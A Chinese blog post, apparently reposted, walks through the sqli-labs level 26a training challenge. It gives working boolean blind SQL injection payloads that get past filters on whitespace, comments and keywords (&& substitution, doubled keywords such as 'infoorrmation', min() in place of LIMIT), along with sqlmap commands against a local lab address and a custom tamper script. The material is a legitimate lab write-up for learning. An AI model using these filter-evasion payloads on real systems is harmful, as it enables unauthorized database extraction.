当空格、注释、关键字全失效:sqli-labs第26a关通解析

admin 2026-01-21 01:18:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析了sqli-labs第26a关通关技巧,该关卡严格过滤空格、注释及逻辑关键字。作者演示了使用&&替代逻辑符及重复关键字绕过过滤,采用手工布尔盲注获取数据,并用min函数解决无空格环境下的limit限制。文章分析了sqlmap因全空白字符过滤而失效的原因,指出在严格过滤环境下手工注入不可替代,建议测试人员深入理解原理,避免过度依赖自动化工具。 综合评分: 91 文章分类: 渗透测试,WEB安全,实战经验


cover_image

当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析

原创

武文学网安 武文学网安

武文学网安

2026年1月20日 01:40 中国香港

大家好,我是武文。今天继续挑战 sqli-labs 第 26a 关。

在第 26 关中,我们已经意识到一个事实:

👉 SQL 注入并不依赖空格 👉 过滤空格 ≠ 安全

而当我进入 第 26a 关 时,我发现事情又往前走了一步。

第26a其实和26关是类似的,是在26关基础上减少了注入方式。我们先来看他的源码是怎么过滤关键字的:https://github.com/Audi-1/sqli-labs/blob/master/Less-26a/index.php

其过滤方式和26关一致。

一、先来安排一套常规检查

?id=1           页面为真?id=1'          页面为假?id=1' %26%26 '1'='1   页面为真?id=1' %26%26 '1'='2   页面为假

%26是&符号的编码,为了能够让数据库接受,&&替代被过滤掉的and,或者用||替代or也可以。

当然我们也可以用anandd和oorr来绕过and与or的过滤。需要注意的是,这种方式并非通用 SQL 特性,而是利用了当前关卡中对关键字过滤实现不严谨的问题。

可以得出结论:

1.页面不再有语法等错误提示,仅成功登录和失败两种页面不同状态

2.这点可以确定当前闭合方式为单引号闭合。

测试是否存在XPATH显错注入:

?id=1'%26%26updatexml(1,concat(0x7e,database(),0x7e),1)%26%26'1'='1

页面无XPATH显错信息。

26a 的页面返回虽然“内容很少”,但状态是稳定可区分的,可以得出当前页面仅可通过盲注来进行注入。

二、手动盲注

前面学习过,盲注分为布尔盲注和时间盲注。各位道友可以在这篇查阅SQL注入实战——时间盲注 今天再来进行一下回顾练习。

因页面有明显登录成功和失败的区别,直接来进行布尔盲注:

判断数据库类型和基本信息

因为页面只有两种状态,正确的为成功登录界面展示用户和用户名,错误的状态为空,我们只能够通过返回结果是否正确来验证我们的假设判断是否为真

-- 判断数据库长度?id=1'%26%26length(database())>5%26%26'1'='1 显示(真)?id=1'%26%26length(database())>5%26%26'1'='1 空白(假)-- 逐步缩小:最终确定 database() 长度为 8-- 逐字符猜解数据库名?id=1'%26%26ascii(substr(database(),1,1))>100%26%26'1'='1显示(真)?id=1'%26%26ascii(substr(database(),1,1))>110%26%26'1'='1空白(假)-- 最终确定第一个字符是 's'(ASCII 115)

判断数据库长度:

?id=1'%26%26length(database())>5%26%26'1'='1 显示(真)?id=1'%26%26length(database())>10%26%26'1'='1 空白(假)?id=1'%26%26length(database())=8%26%26'1'='1 真

可以通过逐步测试的方式判断当前数据库长度。

逐字符猜解数据库名:

知道了数据库长度,接下来就需要来猜测数据库的名字。再次展示一下网上找的ASCII码表:

?id=1'%26%26ascii(substr(database(),1,1))>100%26%26'1'='1显示(真)?id=1'%26%26ascii(substr(database(),1,1))>115%26%26'1'='1空白(假)?id=1'%26%26ascii(substr(database(),1,1))=115%26%26'1'='1 显示(真)-- 最终确定第一个字符是 's'(ASCII 115)?id=1'%26%26(ascii(substr(database(),2,1))=101)%26%26'1'='1  -- 字符'e'?id=1'%26%26(ascii(substr(database(),3,1))=99)%26%26'1'='1  -- 字符'c'-- ... 依次获取剩余字符

通过测试可以确定当前数据库名第一个字符对应ascii码表数字是115,对应字符为’s’。余下的字符手动进行猜测,仅需修改substr的参数来控制要猜测的字符。

这里手动的话需要逐字去测试,一般利用sqlmap进行自动化注入,但我尝试了很多办法都无法实现用sqlmap成功注入。看了一些其他的博主视频,基本也都是手动。后面继续手动顺便加深一下前面快遗忘的手动印象。

获取表信息

-- 获取表数量(使用&&代替AND)?id=1'%26%26((select(count(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))=4)%26%26'1'='1

这里有个点需要注意,因为这一关屏蔽了空格,我在尝试用limit进行筛选时老出错,无法实现合理的查询,哪怕用括号替代空格也不行。

我在mysql中进行了测试:

像下面这样的语句,看似合理,却无法在mysql中正确查询。

-- 获取第一个表名的长度?id=1'%26%26(length((select(table_name)from(infoorrmation_schema.tables)where(table_schema=database())limit(0,1)))=6)%26%26'1'='1
-- 获取第一个表名的字符?id=1'%26%26(ascii(substr((select(table_name)from(infoorrmation_schema.tables)where(table_schema=database())limit(0,1)),1,1))=101)%26%26'1'='1

要想挨个获取表明则需要另寻他法。于是想到了利用max或者min函数来查询一个表名

select(min(table_name))from(information_schema.tables)where(table_schema=database());

可以在后台查看语句的查询效果:

于是我们要获取第一个表名具体信息,也需要逐字符尝试,就变为了:

这里需要注意information需要写称infoorrmation,这是因为过滤逻辑是基于字符串匹配,而不是 SQL 解析层面,只要绕过关键字匹配,数据库仍能正确识别。

获取第一个表名长度(等于6)这里可以自行尝试用比较符号来判断范围?id=1'%26%26length((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))=6%26%26'1'='1
获取第一个字符"e"?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1))=101%26%26'1'='1
获取第二个字符"m" ?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),2,1))=109%26%26'1'='1  ...以此类推可以获取一个表全部名字emalis

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

武文学网安已关注

分享视频

,时长00:36

0/0

00:00/00:36

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:36

00:36

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析

观看更多

转载

,

当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析

武文学网安已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

若要猜下一个表名,则可以用:

先判断第二个表长度(等于8)?id=1'%26%26length((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database()%26%26table_name>"emails")))=8%26%26'1'='1 获取第一个字符"r" ?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database()%26%26table_name>"emails")),1,1))=114%26%26'1'='1   获取第二个字符"e" ?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database()%26%26table_name>"emails")),2,1))=101%26%26'1'='1   ...以此类推可以获取二个表全部名字referers

以此类推即可获取全部表格的信息。

三、自动化工具挑战:sqlmap的局限性

这在渗透测试中,自动化工具如sqlmap极大地提高了效率,但面对特殊过滤机制时,它们也可能显得力不从心。在第26a关中,我们尝试使用sqlmap进行自动化注入,却遇到了意想不到的挑战。

3.1 sqlmap的常规测试

首先,我们使用sqlmap的基本命令进行测试:

python sqlmap.py -u "http://192.168.1.9:8080/Less-26a/?id=1" -p id --level=5 --risk=3 --batch

sqlmap开始了漫长的检测过程,测试了数百种payload变体:

  • AND/OR布尔盲注

  • 报错注入

  • 联合查询注入

  • 时间盲注

  • 堆叠查询

然而,经过数分钟的检测后,sqlmap给出了令人失望的结果。

3.2 深入分析失败原因

sqlmap为何在第26a关失效?我深入分析了几个关键因素:

3.2.1 过滤规则的严格性

第26a关的过滤规则极为严格,不仅过滤了空格,还过滤了所有常见的注释符(--#/* */)以及ANDOR等逻辑运算符。这种多层次的过滤让sqlmap生成的常规payload完全失效。

3.2.2 空格过滤的特殊性

大多数WAF只过滤普通空格(%20),而第26a关使用了[\s]正则表达式,这意味着:

  • 普通空格(%20)
  • 制表符(%09)
  • 换行符(%0a、%0d)
  • 换页符(%0c)
  • 垂直制表符(%0b)

所有空白字符都被一网打尽。虽然sqlmap的tamper脚本可以将空格替换为其他空白符,但目标系统对所有空白字符都进行了过滤。

3.2.3 payload结构的破坏

sqlmap生成的payload通常包含复杂的结构,如:

1' AND1=1UNIONSELECTNULL,NULL,NULL--
经过过滤后,这个payload变成了:
1'1=1UNIONSELECTNULL,NULL,NULL
这完全破坏了SQL语句的语法结构,导致注入失败。

3.3 定制tamper脚本的尝试

意识到标准payload无效后,我尝试编写专门的tamper脚本:

import redef tamper(payload, **kwargs):    """    针对Less-26a的tamper脚本    """    # 移除所有注释    payload = re.sub(r'--.*$', '', payload)    payload = payload.replace("#", "")    payload = payload.replace("/*", "").replace("*/", "")
    # 替换逻辑运算符    payload = re.sub(r'\bAND\b', '%26%26', payload, flags=re.IGNORECASE)    payload = re.sub(r'\bOR\b', '||', payload, flags=re.IGNORECASE)
    # 替换空格为括号(尝试绕过)    # 但这是不可能的,因为括号不能完全替代空格
    return payload
>python sqlmap.py -u "http://192.168.1.9:8080/Less-26a/?id=1" -p id --tamper=less26a --dbms=mysql --level=5 --risk=3 --batch

利用手工写的tamper依然失败,也可能是自己写的存在问题。

3.4 sqlmap的检测机制局限

sqlmap的检测机制依赖于:

  1. 发送特定的payload
  2. 分析响应差异
  3. 推断数据库行为

但在第26a关:

  1. payload被严重篡改,失去原有语义
  2. 响应差异微小,难以识别
  3. 数据库可能因为语法错误而完全拒绝查询

3.5 最终的技术结论

经过多次尝试,我得出以下结论:

  1. 完全自动化不可行:由于LIMIT子句的语法限制,完全无空白的自动化注入在当前MySQL版本下不可行。

2.手工注入的必要性:在某些严格的过滤环境下,手工注入仍然是不可替代的技能。

3.6 对自动化工具的思考

这次经历让我重新思考自动化工具在渗透测试中的定位:

  1. 优势领域:标准环境、已知漏洞、模式化攻击
  2. 局限场景:自定义过滤、特殊语法要求、多层防护
  3. 发展方向:更智能的payload生成、上下文感知的绕过策略

3.7 给渗透测试者的建议

基于这次经验,我给其他渗透测试者以下建议:

  1. 不要过度依赖工具:自动化工具是辅助,不是替代品
  2. 深入理解原理:只有理解SQL注入和过滤的原理,才能有效绕过

总结

第26a关的挑战揭示了自动化工具在极端过滤环境下的局限性。虽然sqlmap等工具在大多数情况下非常有效,但在面对精心设计的过滤机制时,它们可能会失效。

这一关的教学意义深远:真正的安全专家不仅要知道如何使用工具,更要理解工具背后的原理,并在工具失效时能够手动解决问题。

这次失败不是终点,而是深入学习的起点。它提醒我们,在安全领域,持续学习和适应新挑战的能力比掌握任何单一工具都更加重要。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安 武文学网安《当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析》

评论:0   参与:  0